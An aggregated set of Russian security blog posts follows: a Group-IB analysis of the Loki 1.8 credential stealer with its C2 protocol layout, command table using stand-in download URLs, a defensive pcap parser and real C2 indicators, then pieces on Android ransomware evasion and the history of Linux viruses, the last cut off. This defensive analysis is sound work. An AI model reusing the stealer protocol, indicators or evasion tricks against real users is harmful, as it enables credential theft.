2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170

Авторы поста:
Игорь Залевский, руководитель отдела расследования киберинцидентов JSOC CERT
Аскер Джамирзе, эксперт по техническому расследованию отдела JSOC CERT
Подробнее..

Loki 1.8 досье на молодой и подающий надежды Data Stealer

16.09.2020 12:14:05 | Автор: admin


В середине июня борьба с коронавирусом в Казахстане была в самом разгаре. Встревоженные ростом числа заболевших (тогда заразился даже бывший президент Нурсултан Назарбаев), местные власти решились вновь позакрывать все торгово-развлекательные центры, сетевые магазины, рынки и базары. И в этот момент ситуацией воспользовались киберпреступники, отправившие по российским и международным компаниям вредоносную рассылку.

Опасные письма, замаскированную под обращение министра здравоохранения Республики Казахстан, перехватила система Threat Detection System (TDS) Group-IB. Во вложении письма находились документы, при запуске которых на компьютер устанавливалась вредоносная программа из семейства Loki PWS (Password Stealer), предназначенная для кражи логинов и паролей с зараженного компьютера. В дальнейшем злоумышленники могут использовать их для получения доступа к почтовым аккаунтам для финансового мошенничества, шпионажа или продать на хакерских форумах.

В этой статье Никита Карпов, аналитик CERT-GIB, рассматривает экземпляр одного из самых популярных сейчас Data Stealerов Loki.

Сегодня мы рассмотрим одну из популярных версий бота 1.8. Она активно продается, а админ панель можно найти даже в открытом доступе: здесь.

Пример админ-панели:



Loki написан на языке C++ и является одним из самых популярных ВПО, используемых для похищения пользовательской информации с зараженного компьютера. Как и бич нашего времени вирусы-шифровальщики Data Stealer после попадания на компьютер жертвы с очень большой скоростью выполняют поставленную задачу ему не надо закрепляться и повышать свои привилегии в системе, он практически не оставляет времени на защиту от атаки. Поэтому в событиях с ВПО, которое похищает пользовательские данные, главную роль играет расследование инцидента.

Распаковка и получение работоспособного дампа ВПО


Распространение в большинстве случаев происходит через вложения в рассылках писем. Пользователь под видом легитимного файла загружает и открывает вложение, запуская работу ВПО.

По маркеру инжекта можно предположить о наличии Loader.


С помощью DIE получаем информацию, что исходный файл написан на VB6.


График энтропии свидетельствует о большом количестве зашифрованных данных.


При запуске первый процесс создает дочерний, совершает инжект и завершает свою работу. Второй процесс отвечает за работу ВПО. После небольшого промежутка времени останавливаем работу процесса и сохраняем дамп памяти. Чтобы подтвердить, что внутри дампа находится Loki, ищем внутри url командного центра, который в большинстве случаев оканчивается на fre.php.


Выполняем дамп фрагмента памяти, содержащего Loki, и производим корректировку PE-заголовка.

Работоспособность дампа проверим с помощью системы TDS Huntbox.


Функционал бота


В процессе исследования декомпилированного кода ВПО находим часть, содержащую четыре функции, идущие сразу после инициализации необходимых для работы библиотек. Разобрав каждую из них внутри, определяем их назначение и функциональность нашего ВПО.


Названия функций для удобства были переименованы в более информативные.
Функционал бота определяется двумя главными функциями:

  1. Data Stealer первая функция, отвечающая за похищение данных из 101 приложения и отправку на сервер.
  2. Downloader запрос от CnC (Command & Control) команд для исполнения.

Для удобства в таблице, приведенной ниже, представлены все приложения, из которых исследуемый экземпляр Loki пытается похитить данные.
ID функции Приложение ID функции Приложение ID функции Приложение
1 Mozilla Firefox 35 FTPInfo 69 ClassicFTP
2 Comodo IceDragon 36 LinasFTP 70 PuTTY/KiTTY
3 Apple Safari 37 FileZilla 71 Thunderbird
4 K-Meleon 38 Staff-FTP 72 Foxmail
5 SeaMonkey 39 BlazeFtp 73 Pocomail
6 Flock 40 NETFile 74 IncrediMail
7 NETGATE BlackHawk 41 GoFTP 75 Gmail notifier pro
8 Lunascape 42 ALFTP 76 Checkmail
9 Google Chrome 43 DeluxeFTP 77 WinFtp
10 Opera 44 Total Commander 78 Martin Prikryl
11 QTWeb Browser 45 FTPGetter 79 32BitFtp
12 QupZilla 46 WS_FTP 80 FTP Navigator
13 Internet Explorer 47 Mail Client configuration files 81 Mailing
(softwarenetz)
14 Opera 2 48 Full Tilt Poker 82 Opera Mail
15 Cyberfox 49 PokerStars 83 Postbox
16 Pale Moon 50 ExpanDrive 84 FossaMail
17 Waterfox 51 Steed 85 Becky!
18 Pidgin 52 FlashFXP 86 POP3
19 SuperPutty 53 NovaFTP 87 Outlook
20 FTPShell 54 NetDrive 88 Ymail2
21 NppFTP 55 Total Commander 2 89 Trojit
22 MyFTP 56 SmartFTP 90 TrulyMail
23 FTPBox 57 FAR Manager 91 .spn Files
24 sherrod FTP 58 Bitvise 92 To-Do Desklist
25 FTP Now 59 RealVNC
TightVNC
93 Stickies
26 NexusFile 60 mSecure Wallet 94 NoteFly
27 Xftp 61 Syncovery 95 NoteZilla
28 EasyFTP 62 FreshFTP 96 Sticky Notes
29 SftpNetDrive 63 BitKinex 97 KeePass
30 AbleFTP 64 UltraFXP 98 Enpass
31 JaSFtp 65 FTP Now 2 99 My RoboForm
32 Automize 66 Vandyk SecureFX 100 1Password
33 Cyberduck 67 Odin Secure FTP Expert 101 Mikrotik WinBox
34 Fullsync 68 Fling
На этом этапе завершен статический анализ ВПО и в следующем разделе рассмотрим, как Loki общается с сервером.

Сетевое взаимодействие


Для записи сетевого взаимодействия необходимо решить две проблемы:

  1. Командный центр доступен только на момент проведения атаки.
  2. Wireshark не фиксирует коммуникации бота в loopback, поэтому нужно пользоваться другими средствами.

Самое простое решение переадресовать адрес CnC, с которым Loki будет устанавливать коммуникацию, на localhost. Для бота сервер теперь доступен в любое время, хоть и не отвечает, но для записи коммуникаций бота это и не нужно. Для решения второй проблемы воспользуемся утилитой RawCap, которая позволяет записать в pcap необходимые нам коммуникации. Далее записанный pcap будем разбирать уже в Wireshark.


Перед каждой коммуникацией бот проверяет доступность CnC и, если он доступен открывает socket. Все сетевые коммуникации проходят на транспортном уровне по протоколу TCP, а на прикладном используется HTTP.

В таблице ниже представлены заголовки пакета, которые стандартно использует Loki.
Поле Значение Описание
User-agent Mozilla/4.08 (Charon; Inferno) Характерный юзерагент для Loki
Accept */*
Content-Type application/octet-stream
Content-Encoding binary
Content-Key 7DE968CC Результат хеширования предыдущих заголовков (хеширование происходит кастомным алгоритмом CRC с полиномом 0xE8677835)
Connection close
Обратим внимание на body пакета:

  1. Структура записанных данных зависит от версии бота, и в более ранних версиях отсутствуют поля, которые отвечают за опции шифрования и компрессии.
  2. По типу запроса сервер определяет, как обрабатывать полученные данные. Существует 7 типов данных, которые может прочитать сервер:
    • 0x26 Похищенные данные кошельков
    • 0x27 Похищенные данные приложений
    • 0x28 Запрос команд от сервера
    • 0x29 Выгрузка похищенного файла
    • 0x2A POS
    • 0x2B Данные кейлоггера
    • 0x2C Скриншот
  3. В исследованном экземпляре присутствовали только 0x27, 0x28 и 0x2B.
  4. В каждом запросе есть общая информация о боте и зараженной системе, по которой сервер идентифицирует все отчеты по одной машине, а после идет информация, которая зависит от типа запроса.
  5. В последней версии бота реализовано только сжатие данных, а поля с шифрованием заготовлены на будущее и не обрабатываются сервером.
  6. Для сжатия данных используется открытая библиотека APLib.

При формировании запроса с похищенными данными бот выделяет буфер размером 0x1388 (5000 байт). Структура запросов 0x27 представлена в таблице ниже:
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0027 Тип запроса (отправка похищенных данных)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 -
0x5B 0x2 0x0000 Отправлялись ли похищенные данные
0x5D 0x2 0x0001 Использовалось ли сжатие данных
0x5F 0x2 0x0000 Тип сжатия
0x61 0x2 0x0000 Использовалось ли шифрование данных
0x63 0x2 0x0000 Тип шифрования
0x65 0x36 - MD5 от значения регистра MachineGuid
0x9B - - Сжатые похищенные данные
Второй этап взаимодействия с сервером начинается после закрепления в системе. Бот отправляет запрос с типом 0x28, структура которого представлена ниже:

Размер буфера: 0x2BC (700 байт)
Смещение Размер Значение Описание
0x0 0x2 0x0012 Версия бота
0x2 0x2 0x0028 Тип запроса (запрос команд от командного центра)
0x4 0xD ckav.ru Binary ID (также встречается значение XXXXX11111)
0x11 0x10 - Имя пользователя
0x21 0x12 - Имя компьютера
0x33 0x12 - Доменное имя компьютера
0x45 0x4 - Разрешение экрана (ширина и высота)
0x49 0x4 -
0x4D 0x2 0x0001 Флаг прав пользователя (1, если администратор)
0x4F 0x2 0x0001 Флаг идентификатора безопасности (1, если установлен)
0x51 0x2 0x0001 Флаг разрядности системы (1, если x64)
0x53 0x2 0x0006 Версия Windows (major version number)
0x55 0x2 0x0001 Версия Windows (minor version number)
0x57 0x2 0x0001 Дополнительная информация о системе (1 = VER_NT_WORKSTATION)
0x59 0x2 0xFED0
0x5B 0x36 - MD5 от значения регистра MachineGuid
После запроса бот ожидает получить ответ от сервера, содержащий количество и сами команды. Возможные варианты команд получены с помощью статического анализа декомпилированного кода ВПО и представлены ниже.

Размер буфера: 0x10 (16 байт) + 0x10 (16 байт) за каждую команду в пакете.
HTTP- заголовок (начало данных) \r\n\r\n [0D 0A 0D 0A] 4 байта
Суммарная длина данных - - 4 байта
Количество команд 2 [00 00 00 02] 4 байта
Команда Пропускаемые байты
4 байта
Команды
4 байта
Пропускаемые байты
4 байта
Длина передаваемой строки
4 байта
Передаваемая строка
(пример)
#0
Загрузка и запуск EXE-файла
[00 00 00 00] [00 00 00 00] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#1
Загрузка библиотеки DLL
[00 00 00 00] [00 00 00 01] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.dll
#2
Загрузка EXE-файла
[00 00 00 00] [00 00 00 02] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#8
Удаление базы данных хешей (HDB file)
[00 00 00 00] [00 00 00 08] [00 00 00 00] [00 00 00 00] -
#9
Старт кейлоггера
[00 00 00 00] [00 00 00 09] [00 00 00 00] [00 00 00 00] -
#10
Похищение данных и отправка на сервер
[00 00 00 00] [00 00 00 0A] [00 00 00 00] [00 00 00 00] -
#14
Завершение работы Loki
[00 00 00 00] [00 00 00 0E] [00 00 00 00] [00 00 00 00] -
#15
Загрузка новой версии Loki и удаление старой
[00 00 00 00] [00 00 00 0F] [00 00 00 00] [00 00 00 23] www.notsogood.site/malicious.exe
#16
Изменение частоты проверки ответа от сервера
[00 00 00 00] [00 00 00 10] [00 00 00 00] [00 00 00 01] 5
#17
Удалить Loki и завершить работу
[00 00 00 00] [00 00 00 11] [00 00 00 00] [00 00 00 00] -

Парсер сетевого трафика


Благодаря проведенному анализу у нас есть вся необходимая информация для парсинга сетевых взаимодействий Loki.

Парсер реализован на языке Python, на вход получает pcap-файл и в нем находит все коммуникации, принадлежащие Loki.

Для начала воспользуемся библиотекой dkpt для поиска всех TCP-пакетов. Для получения только http-пакетов поставим фильтр на используемый порт. Среди полученных http-пакетов отберем те, что содержат известные заголовки Loki, и получим коммуникации, которые необходимо распарсить, чтобы извлечь из них информацию в читаемом виде.

for ts, buf in pcap:    eth = dpkt.ethernet.Ethernet(buf)    if not isinstance(eth.data, dpkt.ip.IP):        ip = dpkt.ip.IP(buf)    else:        ip = eth.data     if isinstance(ip.data, dpkt.tcp.TCP):        tcp = ip.data        try:            if tcp.dport == 80 and len(tcp.data) > 0:  # HTTP REQUEST                if str(tcp.data).find('POST') != -1:                    http += 1                    httpheader = tcp.data                    continue                else:                    if httpheader != "":                        print('Request information:')                         pkt = httpheader + tcp.data                        httpheader = ""                        if debug:                            print(pkt)                        req += 1                        request = dpkt.http.Request(pkt)                        uri = request.headers['host'] + request.uri                        parsed_payload['Network']['Source IP'] = socket.inet_ntoa(ip.src)                        parsed_payload['Network']['Destination IP'] = socket.inet_ntoa(ip.dst)                        parsed_payload_same['Network']['CnC'] = uri                        parsed_payload['Network']['HTTP Method'] = request.method                         if uri.find("fre.php"):                            print("Loki detected!")                        pt = parseLokicontent(tcp.data, debug)                        parsed_payload_same['Malware Artifacts/IOCs']['User-Agent String'] = request.headers['user-agent']                         print(json.dumps(parsed_payload, ensure_ascii=False, sort_keys=False, indent=4))                        parsed_payload['Network'].clear()                        parsed_payload['Compromised Host/User Data'].clear()                        parsed_payload['Malware Artifacts/IOCs'].clear()                        print("----------------------")            if tcp.sport == 80 and len(tcp.data) > 0:  # HTTP RESPONCE                resp += 1                if pt == 40:                    print('Responce information:')                    parseC2commands(tcp.data, debug)                    print("----------------------")                    pt = 0        except(dpkt.dpkt.NeedData, dpkt.dpkt.UnpackError):            continue

Во всех запросах Loki первые 4 байта отвечают за версию бота и тип запроса. По этим двум параметрам определяем, как будем обрабатывать данные.

def parseLokicontent(data, debug):    index = 0     botV = int.from_bytes(data[0:2], byteorder=sys.byteorder)    parsed_payload_same['Malware Artifacts/IOCs']['Loki-Bot Version'] =  botV     payloadtype = int.from_bytes(data[2:4], byteorder=sys.byteorder)    index = 4    print("Payload type: : %s" % payloadtype)    if payloadtype == 39:        parsed_payload['Network']['Traffic Purpose'] =  "Exfiltrate Application/Credential Data"        parse_type27(data, debug)    elif payloadtype == 40:        parsed_payload['Network']['Traffic Purpose'] = "Get C2 Commands"        parse_type28(data, debug)    elif payloadtype == 43:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Keylogger Data"        parse_type2b(lb_payload)    elif payloadtype == 38:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Cryptocurrency Wallet"    elif payloadtype == 41:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Files"    elif payloadtype == 42:        parsed_payload['Network'].['Traffic Purpose'] = "Exfiltrate POS Data"    elif payloadtype == 44:        parsed_payload['Network']['Traffic Purpose'] = "Exfiltrate Screenshots"     return payloadtype

Следующим в очереди будет разбор ответа от сервера. Для считывания только полезной информации ищем последовательность \r\n\r\n, которая определяет конец заголовков пакета и начало команд от сервера.

def parseC2commands(data, debug):    word = 2    dword = 4    end = data.find(b'\r\n\r\n')    if end != -1:        index = end + 4        if (str(data).find('<html>')) == -1:            if debug:                print(data)            fullsize = getDWord(data, index)            print("Body size: : %s" % fullsize)            index += dword            count = getDWord(data, index)            print("Commands: : %s" % count)            if count == 0:                print('No commands received')            else:                index += dword                for i in range(count):                    print("Command: %s" % (i + 1))                     id = getDWord(data, index)                    print("Command ID: %s" % id)                    index += dword                     type = getDWord(data, index)                    print("Command type: %s" % type)                    index += dword                     timelimit = getDWord(data, index)                    print("Command timelimit: %s" % timelimit)                    index += dword                     datalen = getDWord(data, index)                    index += dword                     command_data = getString(data, index, datalen)                    print("Command data: %s" % command_data)                    index += datalen        else:            print('No commands received')    return None

На этом заканчиваем разбор основной части алгоритма работы парсера и переходим к результату, который получаем на выходе. Вся информация выводится в json-формате.

Ниже представлены изображения результата работы парсера, полученные из коммуникаций различных ботов, с разными CnC и записанные в разных окружениях.

Request information:Loki detected!Payload type: 39Decompressed data: {'Module': {'Mozilla Firefox'}, 'Version': {0}, 'Data': {'domain': {'https://accounts.google.com'}, 'username': {'none@gmail.com'}, 'password': {'test'}}}{'Module': {'NppFTP'}, 'Version': {0}, 'Data': {b'<?xml version="1.0" encoding="UTF-8" ?>\r\n<NppFTP defaultCache="%CONFIGDIR%\\Cache\\%USERNAME%@%HOSTNAME%" outputShown="0" windowRatio="0.5" clearCache="0" clearCachePermanent="0">\r\n    <Profiles />\r\n</NppFTP>\r\n'}}{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Application/Credential Data",        "First Transmission": true    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

Выше представлен пример запроса на сервер 0x27 (выгрузка данных приложений). Для тестирования были созданы аккаунты в трех приложениях: Mozilla Firefox, NppFTP и FileZilla. У Loki существует три варианта записи данных приложений:

  1. В виде SQL-базы данных (парсер сохраняет базу данных и выводит все доступные строки в ней).
  2. В открытом виде, как у Firefox в примере.
  3. В виде xml-файла, как у NppFTP и FileZilla.

Request information:Loki detected!Payload type: 39No data stolen{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Application/Credential Data",        "First Transmission": false    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

Второй запрос имеет тип 0x28 и запрашивает команды от сервера.

Responce information:Body size: 26Commands: 1Command: 1Command ID: 0Command type: 9Command timelimit: 0Command data: 35

Пример ответа от CnC, который отправил в ответ одну команду на старт кейлоггера. И последующая выгрузка данных кейлоггера.

Request information:Loki detected!Payload type: : 43{    "Network": {        "Source IP": "-",        "Destination IP": "185.141.27.187",        "HTTP Method": "POST",        "Traffic Purpose": "Exfiltrate Keylogger Data"    },    "Compromised Host/User Data": {},    "Malware Artifacts/IOCs": {}}

В конце работы парсер выводит информацию, которая содержится в каждом запросе от бота (информацию о боте и о системе), и количество запросов и ответов, связанных с Loki в pcap-файле.

General information:{    "Network": {        "CnC": "nganyin-my.com/chief6/five/fre.php"    },    "Compromised Host/User Description": {        "User Name": "-",        "Hostname": "-",        "Domain Hostname": "-",        "Screen Resolution": "1024x768",        "Local Admin": true,        "Built-In Admin": true,        "64bit OS": false,        "Operating System": "Windows 7 Workstation"    },    "Malware Artifacts/IOCs": {        "Loki-Bot Version": 18,        "Binary ID": "ckav.ru",        "MD5 from GUID": "-",        "User-Agent String": "Mozilla/4.08 (Charon; Inferno)"    }}Requests: 3Responces: 3 


Полный код парсера доступен по ссылке: github.com/Group-IB/LokiParser

Заключение


В этой статье мы ближе познакомились с ВПО Loki, разобрали его функционал и реализовали парсер сетевого трафика, который значительно упростит процесс анализа инцидента и поможет понять, что именно было похищено с зараженного компьютера. Хотя разработка Loki все еще продолжается, была слита только версия 1.8 (и более ранние), именно с этой версией специалисты по безопасности сталкиваются каждый день.

В следующей статье мы разберем еще один популярный Data Stealer, Pony, и сравним эти ВПО.

Indicator of Compromise (IOCs):


Urls:

  • nganyin-my.com/chief6/five/fre.php
  • wardia.com.pe/wp-includes/texts/five/fre.php
  • broken2.cf/Work2/fre.php
  • 185.141.27.187/danielsden/ver.php
  • MD5 hash: B0C33B1EF30110C424BABD66126017E5
  • User-Agent String: Mozilla/4.08 (Charon; Inferno)
  • Binary ID: ckav.ru
Подробнее..

Новое поколение Android malware использует машинное обучение для обхода антивирусного ПО

12.10.2020 10:15:25 | Автор: admin

Системы антивирусного ПО становятся все совершеннее. Но и разработчики malware не сидят без дела, создавая более продвинутые версии зловредного программного обеспечения для самых разных платформ и операционных систем.

Чаще всего внимание злоумышленников к определенной платформе или ОС обусловлены популярностью этих систем. Все просто чем больше у них пользователей, тем больше шанс на удачную крупную атаку. Одна из наиболее привлекательных целей для разработчиков зловредов Android. Корпорация Microsoft на днях опубликовала результаты исследования нового поколения malware для этой операционной системы.

Зловреды для Android? Они существуют много лет, одним больше, другим меньше


В целом, все так и есть, но malware, которое обнаружили эксперты по ИБ из Microsoft, удивляет своими возможностями. Речь идет о AndroidOS/MalLocker.B, одной из разновидностей вымогателей для Android.

Последнее его поколение способно обходить практически все системы защиты, предлагаемые рынком антивирусного ПО.

Результат работы одного из представителей семейства ransomware прежних версий

Для демонстрации сообщения, скриншот которого показан выше, зловреды использовали специальное разрешение SYSTEM_ALERT_WINDOW. Оно дает возможность приложению выводить окно с системным уровнем допуска, благодаря чему антивирусное ПО не в состоянии противодействовать.

Разработчики Android при помощи SYSTEM_ALERT_WINDOW реализовали вывод сообщений о проблемах и ошибках в системе. Разработчики зловредного ПО при помощи системного сообщения показывают требование отправить деньги, причем все остальные функции устройства при этом блокируются. Довольно часто это срабатывает, и неискушенный в технологиях пользователь действительно платит.

Разработчики Android ввели в последних версиях ОС несколько изменений, которые позволяли избежать этой опасности:

  • Заменили SYSTEM_ALERT_WINDOW другими типами вызова окна сообщения об ошибках/уведомлениях.
  • Ввели запрос пользователя о разрешение использования SYSTEM_ALERT_WINDOW для разных приложений, а не всех вместе.
  • Добавили возможность деактивации окна SYSTEM_ALERT_WINDOW пользователем.

Разработчики зловредного ПО пытались адаптироваться. Например, вводили в цикл процесс отрисовки окон с требованием выкупа. Но это не было особенно эффективным методом, поскольку пользователь мог все свернуть, зайти в настройки и удалить проблемное приложение.

Но сейчас все изменилось, разработчики зловредного ПО тоже оказались не лыком шиты.

Что конкретно делает AndroidOS/MalLocker.B?


Зловред нового поколения взаимодействует с функцией вызова окна звонка. Закрыть окно не так просто, поскольку у него высокий приоритет. Внутри самого окна демонстрируется все тот же текст с требованием отправить деньги на кошелек злоумышленников.

Для этого используется два компонента, которые позволяют создать специальный тип уведомления, который и задействует затем окно телефонного вызова.


При этом задействуется onUserLeaveHint, функция, которая активируется при нажатии таких кнопок, как Home или Recents. Вредонос использует ее для того, чтобы не дать пользователю вернуться на домашний экран, свернуть окно с требованием выкупа или переключиться на другое приложение. Подобная тактика в новинку, поскольку раньше вымогатели использовали DoubleLocker и сочетали ее с Accessibility service.


Еще одна новая функция ransomware использование модуля машинного обучения, что позволяет зловреду определять необходимые размеры окна сообщения, адаптируя его под размеры экрана и другие особенности устройства. Поскольку моделей планшетов и телефонов на Android великое множество, то для ransomware это крайне полезное умение.

Ниже показана схема работы разных видов зловредного ПО, включая представителей новейшего семейства. Полноразмерное изображение откроется при клике.


Эксперты по ИБ предполагают, что эволюция этой ветки ransomware далека от тупика впереди грядет еще несколько поколений с новыми функциями и возможностями.

Обход защиты и способы распространения


Разработчики AndroidOS/MalLocker.B научили свое детище обходить как штатную систему безопасности Google, так и сторонние антивирусные решения. Сделано это путем маскировки некоторых функций и возможностей ransomware.

Так, любое Android-приложение включает manifest file, который содержит названия и детали всех программных компонентов. Разработчики зловредного ПО в обычной ситуации маскируют и скрывают некоторые важные компоненты. Создатели нового ransomware выбрали иной путь они обфусцируют код, который не позволяет антивирусным приложениям обнаружить вредонос. Кроме того, файл скрывают в другой папке, так что ransomware может работать, но не показывать истинности своих намерений.

Новый вредонос вряд ли проникнет в Google Play Store, но в сторонние каталоги приложений оно сможет попасть без особых проблем. Сейчас ransomware распространяется разработчиками на форумах, обычных веб-сайтах, сторонних каталогах приложений для Android. Здесь ничего нового, тактика киберпреступников стандартная замаскировать зловредный софт под популярное приложение, видеоигру, плеер или еще что-то подобное.

Для предотвращения распространения зловреда Microsoft поделилась детальной информации о нем с Google еще до того, как результаты изучения ransomware попали в паблик. Рекомендации, которые дают специалисты по ИБ пользователям, самые простые загружать приложения из доверенных источников и не кликать по подозрительным ссылкам, включая те, что содержатся в сообщениях электронной почты.

Подробнее..

История развития компьютерных вирусов для Unix-подобных систем

06.12.2020 20:19:50 | Автор: admin

Говорим о вирусах в эпоху пандемии.

Disclamer: статья написана начинающим для начинающих! Если Вы уже сформировавшийся специалист, ничего нового Вы тут, скорее всего, не найдёте. Однако, если прочитаете, критика (желательно конструктивная) приветствуется.

Концептуальная составляющая

Большую часть рынка десктопных операционных систем занята семейством операционных систем Windows. Однако с развитием рынка мобильных устройств и различных технологий, подразумевающих клиент-серверное взаимодействие, на арену уже относительно давно вышли Unix-системы. Подробную статистику за последние 10 лет можно посмотреть, например, здесь.

Первые компьютерные вирусы... Здесь остановимся и, чтобы заранее не создавать напряжённой атмосферы, условимся вирусом называть везде, где это не оговорено особо (разумеется, для краткости), любое вредоносное программное обеспечение (по-английски malware), способной внедряться много куда: в код программ, в системные области памяти и т.п. и распространять там свои копии реплицировать себя. То, что вредоносное программное обеспечение будет делать дальше, зависит от фантазии и цели его написавшего. Именно компьютерный вирус маленький подкласс таких программ. К тому, какие они бывают, мы вернёмся позже.

Итак, форточку открыли, проветрили. Продолжаем.

Первые компьютерные вирусы появились ещё в середине прошлого века ещё фон Нейман предложил первые способы написания своих программ. А теперь сориентируемся с временными рамками: первые Unix-подобные системы появлись в 1970(69) году в Bell Laboratories AT&T (для тех, кто любит переходить по ссылкам, как я, вот ссылка на краткую ленту времени развития).

Unix was born in 1969 not 1974, and the account of its development makes a little-known and perhaps instructive story.

Source: The Evolution of the Unix Time-sharing System, an account of developments during 1968-1973 Dennis M. Ritchie

... А первые вирусы под эти системы появились уже в 1984 году (как сказал однажды ведующий BBC Джереми Кларксон: В80-е время текло медленнее) в ходе экспериментов вот она, человеская любознательность.

Итак, сформулируем основные концепты данной статьи, чтобы можно было быстро промотать к интересующему кусочку.

  • Что делает Unix-подобные системы (будем говорить в большинстве своём о Linux-системах) уязвимы к вирусам?

  • Какие виды вредоносного программного обеспечения существуют под Linux (обзорно, но с примерами)?

  • А можно ли как-то защититься от заражения?

Примечание: если Вы вдруг не понимаете, в чём разница Unix и Linux, прочтите перед дальнейшим данный этюд. Вкратце, Linux один самых известных представителей Unix-like с ядром, как у Unix. Но подобный незначит совпадающий

Где же уязвимость?

Чтобы лучше понять, откуда растут корни проблемы, отправимся в путешествие во времени. На дворе был 1996 год, когда появился первый вирус Staog именно вирус, для ядра Linux, который написал VLAD, хакер из Quantum (они, кстати, чуть ранее написали вирус для Windows 95). Пока нам не так важно, как был написан этот вирус (на ассемблере), нам важно, как этот вирус заражал систему: вирус пытался получить привелегии суперпользователя.

А теперь притормозим, и разберёмся, кто такой суперпользователь, и зачем он нужен.

Типы пользователей Linux-систем

Кратко о системе разделения привелегий Linux.

Если не рассматривать сервис-юзеров (учётные записи служб), то существует 2 основных вида пользователей на ОС, базирующихся на Linux-ядре:

  • root-пользователи, суперпользователи основной вид пользовательской записи в Linux, который позволяет заниматься администрированием системы и получить доступ к любой системной службе. Не может быть удалена.

  • обычный пользователь такие пользователи имеют доступ только авторизированным ресурсам системы и могут выполнять ограниченное количество действий. Таких записей может быть создано и удалено любое количество.

Чтобы оказать влияние на систему, необходимо получить привелегии супер-пользователя. Пока пользователь не начнёт работу с root-привелегиями, система разграничения прав не даст вирусу возможности причинить системе какой-либо вред без получения прав суперпользователя вредоносная деятельность вирусов сводится к слежению за действиями пользователя.

Возвращаясь к Staog, который использовал ошибки в программном обеспечении такие, как

  • ошибку переполнения буфера в команде mount;

  • ошибку переполненения буфера в программе dip;

  • уязвимость в интепритаторе perl, связанную c битом SUID,

меняя атрибуты чтения и записи некоторых файлов, делая их доступными для обычного пользователя.

Основные способы заражения

Вредоносное программное обеспечение может попасть на компьютер многими способами. Перечислим некоторые из них:

  • Бинарные файлы и исходные коды, полученные из сторонних репозиториев. Shell scripts (скипты оболочки), которые помогают установке программ на Linux-системы, часто запускаются, используя права суперпользователя, имеют доступ к файлам системы. Вместо актуальной версии может быть установлена библиотека-обманка.

  • Методы social engineering (подробнее можно посмотреть здесь) некие техники, использующие слабости человеской психики, эксплуатируя ошибки, совершаемые полльзователем на этой почве, чтобы получить доступ к его данным, правам доступа или ценным данным. Самый простой и известный пример такой страшной техники фишиг.

  • Также стоит заметить, что под Linux работают и вредоносное ПО Windows (здесь мы передаём привет Wine), правда живут они (по некоторым причинам: возможно, стандартные методы запуска программ в Windows в Linux не работают) до перезагрузки системы.

В наши дни разработчики программного обеспечения мониторят свои репозитории на наличие уязвимостей, жить становится безопаснее!

Основные этапы заражений Linux (ну, или запасные мой субъективный взгляд)

Данный раздел базируется на материалах данного блога спасибо, что он есть; там есть всё, что нужно, если Вы программист: сниппеты кода и подробное их описание. Мы же здесь собрались с точки зрения истории, так что обсуждаем качественную сторону вопроса.

Вообще, вирусов, которых мы, обычные пользователи, представляем в жизни, на Linux уже почти не осталось.

Тот самый Staog, о котором шла речь выше, много компьютеров не заразил, отделавшись малым (коммпьютеров много под Linux тогда и не было), и был быстро обезврежен. Однако его влияение не стоит недооценивать, он сделал маленький шаг для вируса, но большой шаг для всего сообщества: показал, что ядро Linux способно быть поражено вирусом. И тут началось...

В 1997 году вышел Bliss вирус, который прикреплялся к исполняемым файлам в системе и препятствовал их запуску. Опять же, для таких манёвров ему требовался root-доступ. Вроде бы ничего, а вот для Debian угроза от этого вируса присутствует до сих пор, однако она минимальна.

Для того чтобы не заразиться этим вирусом, достаточно просто

Не пользоваться root-правами. И это не шутка.

В 1999 году... ничего не произошло такого значимого, зато пошутили хорошо: вышел некий вирус (или это был hoax, мнения в Интернете разнятся, сам сказать не могу, мне тогда было 0 лет) Tuxissa, который делал примерно следующее: пользователю на почту (пользователь на Windows, где ж ему ещё быть) приходило письмо с важным сообщением о безопасности системы. Пользователь кликал на него (а Вы бы кликнули?), загружался вирус, затирая реестр, и в конце концов компьютер перезагружался, и на экране появлялся терминал Linux. Будем надеяться, что это была только первоапрельская шутка.

Зато богатым на всякое разное вредоносное ПО выдался 2001 год. Помимо всяких червей (Worms), ...

Что такое Worm?

Сетевой червь разновидность вредоносной программы, самостоятельно распространяющейся через локальные и глобальные (Интернет) компьютерные сети.

